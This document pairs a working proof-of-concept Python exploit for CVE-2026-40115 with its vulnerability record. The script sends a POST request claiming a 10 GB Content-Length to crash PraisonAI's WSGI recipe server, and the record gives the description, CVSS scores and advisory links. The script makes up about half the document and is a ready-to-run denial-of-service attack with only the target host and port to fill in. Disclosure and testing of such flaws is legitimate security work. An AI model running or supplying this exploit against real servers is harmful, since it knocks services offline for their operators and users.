CVE-2026-40115

import socket # PoC for CVE-2026-40115: PraisonAI Memory Exhaustion DoS # Target: PraisonAI WSGI server (server.py) < 4.5.128 # Usage: python3 poc.py def send_malicious_request(host, port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Define a huge Content-Length to exhaust memory (e.g., 10 GB) # The server will attempt to allocate this amount of memory malicious_length = 10737418240 # 10GB # Construct HTTP POST request request = f"POST / HTTP/1.1\r\n" request += f"Host: {host}\r\n" request += f"Content-Length: {malicious_length}\r\n" request += f"\r\n" # Send the request headers s.send(request.encode()) print(f"[+] Sent malicious request to {host}:{port}") print(f"[+] Claimed Content-Length: {malicious_length} bytes") print("[+] Server should now attempt to allocate memory and hang or crash.") # Keep connection open briefly to ensure server processes headers s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_HOST = "127.0.0.1" # Replace with target IP TARGET_PORT = 8000 # Replace with target port send_malicious_request(TARGET_HOST, TARGET_PORT)

{"cve": {"id": "CVE-2026-40115", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:35.143", "lastModified": "2026-04-17T18:34:53.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.128, the WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection. This vulnerability is fixed in 4.5.128."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.128", "matchCriteriaId": "56CDE5F5-B03C-4C3A-9A92-F61C9DFDA9B1"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2xgv-5cv2-47vv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2xgv-5cv2-47vv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}